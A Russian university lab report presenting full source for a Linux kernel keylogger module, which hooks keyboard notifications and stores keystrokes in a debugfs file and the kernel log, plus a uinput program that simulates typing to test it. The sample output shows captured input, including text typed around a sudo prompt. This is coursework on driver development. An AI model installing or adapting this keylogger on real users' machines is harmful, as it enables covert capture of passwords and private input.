МИНИСТЕРСТВО НАУКИ И ВЫСШЕГО ОБРАЗОВАНИЯ
РОССИЙСКОЙ ФЕДЕРАЦИИ

ФЕДЕРАЛЬНОЕ ГОСУДАРСТВЕННОЕ БЮДЖЕТНОЕ
ОБРАЗОВАТЕЛЬНОЕ УЧРЕЖДЕНИЕ ВЫСШЕГО ОБРАЗОВАНИЯ

«БЕЛГОРОДСКИЙ ГОСУДАРСТВЕННЫЙ ТЕХНОЛОГИЧЕСКИЙ УНИВЕРСИТЕТ им. В. Г. Шухова»
(БГТУ им. В. Г. Шухова)

Кафедра программного обеспечения вычислительной
техники и автоматизированных систем

Лабораторная работа №4
по дисциплине: «Операционные системы»
на тему: «Разработка драйвера для ОС Linux (Ubuntu)»

Выполнил: ст. группы ПВ-223
Дмитриев Андрей Александрович

Проверили:
доц. Островский Алексей Мичеславович,
асс. Четвертухин Виктор Романович

Белгород, 2024

Цель работы: Изучить основы разработки драйверов для ядра Linux с использованием языка программирования C, включая настройку окружения, создание драйвера и его тестирование.

Условие индивидуального задания:

2. Разработать драйвер, логирующий символы со стандартного потока ввода (клавиатуры). Использовать register_keyboard_notifier, чтобы получать уведомления о событиях клавиатуры. При выгрузке драйвера вызвать unregister_keyboard_notifier, чтобы отключить обработчик.

Ход выполнения работы

Код драйвера:

```c
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/keyboard.h>
#include <linux/debugfs.h>
#include <linux/input.h>

#define BUF_LEN (PAGE_SIZE << 2)
#define CHUNK_LEN 12

// #define DEVICE_NAME "my_keylogger_device_2"

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Dmitriev A.A.");
MODULE_VERSION("1.0");
MODULE_DESCRIPTION("Keylogger driver");

static struct dentry *file;
static struct dentry *subdir;

static char driver_name[] = "my_keylogger";

//static int major_number;

static ssize_t keys_read(struct file *filp,
        char *buffer,
        size_t len,
        loff_t *offset);

static int keylogger_cb(struct notifier_block *nblock,
```

```
        unsigned long code,
        void *_param);

static const char *us_keymap[][2] = {
    {"\0", "\0"}, {"_ESC_", "_ESC_"}, {"1", "!"}, {"2", "@"},       // 0-3
    {"3", "#"}, {"4", "$"}, {"5", "%%"}, {"6", "^"},                 // 4-7
    {"7", "&"}, {"8", "*"}, {"9", "("}, {"0", ")"},                  // 8-11
    {"-", "_"}, {"=", "+"}, {"_BACKSPACE_", "_BACKSPACE_"},          // 12-14
    {"_TAB_", "_TAB_"}, {"q", "Q"}, {"w", "W"}, {"e", "E"}, {"r", "R"},
    {"t", "T"}, {"y", "Y"}, {"u", "U"}, {"i", "I"},                  // 20-23
    {"o", "O"}, {"p", "P"}, {"[", "{"}, {"]", "}"},                  // 24-27
    {"\n", "\n"}, {"_LCTRL_", "_LCTRL_"}, {"a", "A"}, {"s", "S"},   // 28-31
    {"d", "D"}, {"f", "F"}, {"g", "G"}, {"h", "H"},                  // 32-35
    {"j", "J"}, {"k", "K"}, {"l", "L"}, {";", ":"},                  // 36-39
    {"'", "\""}, {"`", "~"}, {"_LSHIFT_", "_LSHIFT_"}, {"\\", "|"}, // 40-43
    {"z", "Z"}, {"x", "X"}, {"c", "C"}, {"v", "V"},                  // 44-47
    {"b", "B"}, {"n", "N"}, {"m", "M"}, {",", "<"},                  // 48-51
    {".", ">"}, {"/", "?"}, {"_RSHIFT_", "_RSHIFT_"}, {"_PRTSCR_", "_KPD*_"},
    {"_LALT_", "_LALT_"}, {" ", " "}, {"_CAPS_", "_CAPS_"}, {"F1", "F1"},
    {"F2", "F2"}, {"F3", "F3"}, {"F4", "F4"}, {"F5", "F5"},          // 60-63
    {"F6", "F6"}, {"F7", "F7"}, {"F8", "F8"}, {"F9", "F9"},          // 64-67
    {"F1my0", "F10"}, {"_NUM_", "_NUM_"}, {"_SCROLL_", "_SCROLL_"},   // 68-70
    {"_KPD7_", "_HOME_"}, {"_KPD8_", "_UP_"}, {"_KPD9_", "_PGUP_"}, // 71-73
    {"-", "-"}, {"_KPD4_", "_LEFT_"}, {"_KPD5_", "_KPD5_"},          // 74-76
    {"_KPD6_", "_RIGHT_"}, {"+", "+"}, {"_KPD1_", "_END_"},          // 77-79
    {"_KPD2_", "_DOWN_"}, {"_KPD3_", "_PGDN"}, {"_KPD0_", "_INS_"}, // 80-82
    {"_KPD._", "_DEL_"}, {"_SYSRQ_", "_SYSRQ_"}, {"\0", "\0"},      // 83-85
    {"\0", "\0"}, {"F11", "F11"}, {"F12", "F12"}, {"\0", "\0"},     // 86-89
    {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},
    {"\0", "\0"}, {"_KPENTER_", "_KPENTER_"}, {"_RCTRL_", "_RCTRL_"}, {"/", "/"},
    {"_PRTSCR_", "_PRTSCR_"}, {"_RALT_", "_RALT_"}, {"\0", "\0"},   // 99-101
    {"_HOME_", "_HOME_"}, {"_UP_", "_UP_"}, {"_PGUP_", "_PGUP_"},   // 102-104
    {"_LEFT_", "_LEFT_"}, {"_RIGHT_", "_RIGHT_"}, {"_END_", "_END_"},
    {"_DOWN_", "_DOWN_"}, {"_PGDN", "_PGDN"}, {"_INS_", "_INS_"},   // 108-110
    {"_DEL_", "_DEL_"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},   // 111-114
    {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"}, {"\0", "\0"},         // 115-118
    {"_PAUSE_", "_PAUSE_"},                                          // 119
};

static size_t buf_pos;
static char keys_buf[BUF_LEN];

const struct file_operations keys_fops = {
    .owner = THIS_MODULE,
    .read = keys_read,
};

// read function for file_operations structure
static ssize_t keys_read(struct file *filp,
            char *buffer,
            size_t len,
```

```
            loff_t *offset)
{
    return simple_read_from_buffer(buffer, len, offset, keys_buf, buf_pos);
}

static struct notifier_block keylogger_blk = {
    .notifier_call = keylogger_cb,
};

// convert keycode to readable string and save in buffer
static void keycode_to_string(int keycode, int shift_mask, char *buf)
{
    if (keycode > KEY_RESERVED && keycode <= KEY_PAUSE) {
        const char *us_key =
            (shift_mask == 1) ? us_keymap[keycode][1] : us_keymap[keycode][0];

        // printk(KERN_INFO "%s: keycode_to_string us_key=%s\n", driver_name,
us_key);

        snprintf(buf, CHUNK_LEN, "%s", us_key);
    }
}

// keypress callback, called when a keypress
int keylogger_cb(struct notifier_block *nblock,
          unsigned long code,
          void *_param)
{
    size_t len;
    char keybuf[CHUNK_LEN] = {0};
    struct keyboard_notifier_param *param = _param;

    // printk(KERN_INFO "%s: keylogger_cb code=0x%lx, down=0x%x, shift=0x%x,
value=0x%x\n",
    //   driver_name, code, param->down, param->shift, param->value);

    // trace only when a key is pressed down
    if (!(param->down))
        return NOTIFY_OK;

    // keycode to readable string in keybuf
    keycode_to_string(param->value, param->shift, keybuf);
    len = strlen(keybuf);

    // ignore unmapped keycode
    if (len < 1)
        return NOTIFY_OK;

    // reset key string buffer position if exhausted
    if ((buf_pos + len) >= BUF_LEN)
        buf_pos = 0;
```

```
    // copy readable key to key string buffer
    strncpy(keys_buf + buf_pos, keybuf, len);
    buf_pos += len;

    printk(KERN_INFO "%s: keybuf=%s\n", driver_name, keybuf);

    return NOTIFY_OK;
}

static int __init keylogger_init(void)
{
    printk(KERN_INFO "%s: Start init Keyboard Logger\n", driver_name);

    // major_number = register_chrdev(0, DEVICE_NAME, NULL);  // Регистрация
устройства
    // if (major_number < 0) {
    //     printk(KERN_ALERT "Failed to register device\n");
    //     return major_number;
    // }
    // printk(KERN_INFO "Device registered with major number: %d\n", major_num-
ber);

    subdir = debugfs_create_dir("keylog", NULL);
    if (IS_ERR(subdir))
        return PTR_ERR(subdir);
    if (!subdir)
        return -ENOENT;

    printk(KERN_INFO "%s: Dir maked\n", driver_name);

    file = debugfs_create_file("keys", 0400, subdir, NULL, &keys_fops);
    if (!file) {
        debugfs_remove_recursive(subdir);
        return -ENOENT;
    }

    printk(KERN_INFO "%s: File maked\n", driver_name);

    register_keyboard_notifier(&keylogger_blk);

    printk(KERN_INFO "%s: Keyboard notifier registered\n", driver_name);

    return 0;
}

static void __exit keylogger_exit(void)
{
    printk(KERN_INFO "%s: Start exit Keyboard Logger\n", driver_name);

    // unregister_chrdev(major_number, DEVICE_NAME);
```

```
    unregister_keyboard_notifier(&keylogger_blk);

    printk(KERN_INFO "%s: Keyboard notifier unregistered\n", driver_name);

    debugfs_remove_recursive(subdir);

    printk(KERN_INFO "%s: Files remove\n", driver_name);
}

module_init(keylogger_init);
module_exit(keylogger_exit);
```

Помимо вывода нажатой клавиши в поток KERN_INFO клавиша добавляется в файл установленного размера.

Привер вывода:

```
andrev133@andrev133-VirtualBox:~$ sudo cat /sys/kernel/debug/keylog/keys
_LCTRL_csudo apt --help
_UP__BACKSPACE__BACKSPACE__BACKSPACE__BACKSPACE__BACKSPACE__BACKSPACE_list
_UP_ _RSHIFT_| gapt fire
rootroot
_LALT__TAB_andrev133@andrev133-VirtualBox:~$
```

Для реализации тестов сначала был использован xdotool, но keyboard_notifier работает на более низком уровне, поэтому xdotool не подходит для такой задачи. Выбор был сделан в пользу uinput, он имитирует нажатия на низком уровне, эмулируя нажатия на виртуальной клавиатуре.

Код тестов:

```
#include <linux/input.h>
#include <linux/uinput.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

// Функция для отправки события нажатия клавиши
void send_key(int fd, int keycode, int press) {
    struct input_event event;

    // Отправка события нажатия/отпускания клавиши
    memset(&event, 0, sizeof(event));
    event.type = EV_KEY;
    event.code = keycode;
    event.value = press; // 1 - нажатие, 0 - отпускание
    write(fd, &event, sizeof(event));

    // Отправка события синхронизации
    memset(&event, 0, sizeof(event));
```

```
    event.type = EV_SYN;
    event.code = SYN_REPORT;
    event.value = 0;
    write(fd, &event, sizeof(event));
}

// Функция для ввода символа
void type_char(int fd, char c) {
    // printf("%c", c);
    // char i = 'i';
    // printf("%d %d\n", i, KEY_I);

    int keycode = 0;

    // Сопоставление символа с кодом клавиши
    switch (c) {
        case 'a': keycode = KEY_A; break;
        case 'b': keycode = KEY_B; break;
        case 'c': keycode = KEY_C; break;
        case 'd': keycode = KEY_D; break;
        case 'e': keycode = KEY_E; break;
        case 'f': keycode = KEY_F; break;
        case 'g': keycode = KEY_G; break;
        case 'h': keycode = KEY_H; break;
        case 'i': keycode = KEY_I; break;
        case 'j': keycode = KEY_J; break;
        case 'k': keycode = KEY_K; break;
        case 'l': keycode = KEY_L; break;
        case 'm': keycode = KEY_M; break;
        case 'n': keycode = KEY_N; break;
        case 'o': keycode = KEY_O; break;
        case 'p': keycode = KEY_P; break;
        case 'q': keycode = KEY_Q; break;
        case 'r': keycode = KEY_R; break;
        case 's': keycode = KEY_S; break;
        case 't': keycode = KEY_T; break;
        case 'u': keycode = KEY_U; break;
        case 'v': keycode = KEY_V; break;
        case 'w': keycode = KEY_W; break;
        case 'x': keycode = KEY_X; break;
        case 'y': keycode = KEY_Y; break;
        case 'z': keycode = KEY_Z; break;
        case ',': keycode = KEY_COMMA; break;
        case '.': keycode = KEY_DOT; break;
        case ' ': keycode = KEY_SPACE; break;
        default: return; // Игнорируем неизвестные символы
    }

    // Отправка нажатия и отпускания клавиши
    send_key(fd, keycode, 1); // Нажатие
    send_key(fd, keycode, 0); // Отпускание
```

```c
}

// Функция для ввода строки с задержкой
void type_string(int fd, const char *str, int delay_ms) {
    for (int i = 0; str[i] != '\0'; i++) {
        // printf("%c", str[i]);
        type_char(fd, str[i]);
        usleep(delay_ms * 1000); // Задержка в миллисекундах
    }
}

int main() {
    int fd;
    struct uinput_user_dev uidev;

    // Открываем устройство uinput
    fd = open("/dev/uinput", O_WRONLY | O_NONBLOCK);
    if (fd < 0) {
        perror("Unable to open /dev/uinput");
        return -1;
    }

    // Настраиваем устройство
    memset(&uidev, 0, sizeof(uidev));
    strncpy(uidev.name, "Virtual Keyboard", UINPUT_MAX_NAME_SIZE);
    uidev.id.bustype = BUS_USB;
    uidev.id.vendor = 0x1;
    uidev.id.product = 0x1;
    uidev.id.version = 1;

    // Устанавливаем поддерживаемые события
    ioctl(fd, UI_SET_EVBIT, EV_KEY);
    for (int key = KEY_A; key <= KEY_Z; key++) {
        ioctl(fd, UI_SET_KEYBIT, key);
    }
    ioctl(fd, UI_SET_KEYBIT, KEY_SPACE);
    ioctl(fd, UI_SET_KEYBIT, KEY_COMMA);
    ioctl(fd, UI_SET_KEYBIT, KEY_DOT);

    // Создаем устройство
    if (write(fd, &uidev, sizeof(uidev)) < 0) {
        perror("Failed to create uinput device");
        close(fd);
        return -1;
    }

    if (ioctl(fd, UI_DEV_CREATE) < 0) {
        perror("Failed to create uinput device");
        close(fd);
        return -1;
    }
```

```
    usleep(2000);

    // Ввод текста с задержкой 2 секунды между символами
    const char *text = "i remember beautiful moment, you come for me";
    type_string(fd, text, 100); // 2000 мс = 2 секунды

    // Уничтожаем устройство
    ioctl(fd, UI_DEV_DESTROY);
    close(fd);

    return 0;
}
```

Протоколы, логи, скриншоты, графики.

Тесты. Был сгенерирован текст из 100 символов и изменялась скорость задержки перед вводом символа. При скорости меньше 20млс были замечены пропуски символов.

Выводы

В ходе лабораторной работы изучены основы разработки драйверов для ядра Linux с использованием языка программирования C, включая настройку окружения, создание драйвера и его тестирование.

Полученная программа протестирована и работает исправно.